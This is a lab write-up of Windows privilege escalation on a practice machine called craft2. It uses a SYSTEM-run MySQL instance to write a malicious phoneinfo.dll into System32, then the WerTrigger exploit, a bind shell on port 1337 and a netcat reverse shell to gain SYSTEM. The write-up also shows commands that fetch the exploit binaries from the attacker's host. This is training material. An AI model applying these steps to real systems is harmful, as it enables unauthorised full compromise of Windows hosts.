Craft2_Privilege_Escalation

Privilege File Write (WerTriggeer)

---

It has been identified that privileged file write as SYSTEM can be achieved via mysql session as the internal MySQL instance is running as SYSTEM

4 known exploit paths are available for privileged file write, and 2 of them are working across all versions of Windows as of today (July 2025). I will be deploying the WerTrigger method because the other one, WerMgr, requires directory creation.

Exploit

---

Exploit located

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/craft2]
└─$ git clone https://github.com/sailay1996/WerTrigger
Cloning into 'WerTrigger'...
remote: Enumerating objects: 92, done.
remote: Counting objects: 100% (1/1), done.
remote: Total 92 (delta 0), reused 0 (delta 0), pack-reused 91 (from 1)
Receiving objects: 100% (92/92), 187.38 KiB | 3.90 MiB/s, done.
Resolving deltas: 100% (33/33), done.

Cloning the repo

Exploitation

---

Privileged file write is only accessible through the mysql session.

PS C:\tmp> mkdir WerTrigger
    Directory: C:\tmp
 
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----         7/4/2025  12:48 PM                WerTrigger                                                            
 
PS C:\tmp\WerTrigger> curl http://192.168.45.158/WerTrigger/bin/phoneinfo.dll  -OutFile .\phoneinfo.dll
PS C:\tmp\WerTrigger> curl http://192.168.45.158/WerTrigger/bin/WerTrigger.exe  -OutFile .\WerTrigger.exe
PS C:\tmp\WerTrigger> curl http://192.168.45.158/WerTrigger/bin/Report.wer  -OutFile .\Report.wer

Transferring the necessary binaries.

MariaDB [(none)]> SELECT LOAD_FILE('C://tmp//WerTrigger//phoneinfo.dll') INTO DUMPFILE 'C://Windows//System32//phoneinfo.dll';
Query OK, 1 row affected (0.037 sec)

Transferring the DLL file to the C:\Windows\System32 directory as SYSTEM It’s CRITICAL to use DUMPFILE instead of OUTFILE

PS C:\tmp\WerTrigger> icacls C:\Windows\System32\phoneinfo.dll
C:\Windows\System32\phoneinfo.dll NT AUTHORITY\SYSTEM:(I)(F)
                                  BUILTIN\Administrators:(I)(F)
                                  BUILTIN\Users:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                  APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
 
Successfully processed 1 files; Failed processing 0 files
 
PS C:\tmp\WerTrigger> ls C:\Windows\System32\phoneinfo.dll
 
 
    Directory: C:\Windows\System32
 
 
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----         7/4/2025  12:42 PM          12288 phoneinfo.dll

Write as SYSTEM confirmed.

PS C:\tmp\WerTrigger> .\WerTrigger.exe
[+] Windows Error Reporting Trigger by @404death !
[+] Trigger launched.
[*] TCP connecting...
[*] Waiting for the DLL to be loaded...
[-] Unable to connect to server!
[*] Retrying ...
[-] Unable to connect to server!
[*] Retrying ...
[-] Unable to connect to server!
[-] Exploit failed.

However, the exploit fails with the error; Unable to connect to server!

Trouble Shooting

---

Checking the source code reveals that;

• WerTrigger.exe binary triggers loading the phoneinfo.dll DLL
• phoneinfo.dll DLL gets loaded as SYSTEM
  • then it creates a bind shell internally on the port 1337
• WerTrigger.exe binary then connects to the bind shell on the port 1337

The problem is inbound connection to 1337 failed. I can attempt to connect to the port 1337 manually.

Re-attempt (manual)

---

Executing the WerTrigger.exe binary

The bind shell is internally running on the port 1337

On a separate session, I can connect to the bind shell using the Netcat binary

Supposedly, we are connect to a CMD session despite not showing the prompt.

So I can send a Netcat reverse shell to Kali

It worked. System level compromise

It indeed shows the established session, which has a different PID; 1064

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> ps
 
[...REDACTED...]
 
    154      11     1756       1476       0.02   4608   0 wermgr                                                       
     91       6      908       3616       0.00   1064   0 WerTrigger                                                   

4608 is the wermgr process 1064 is the WerTrigger process, which is the current session as SYSTEM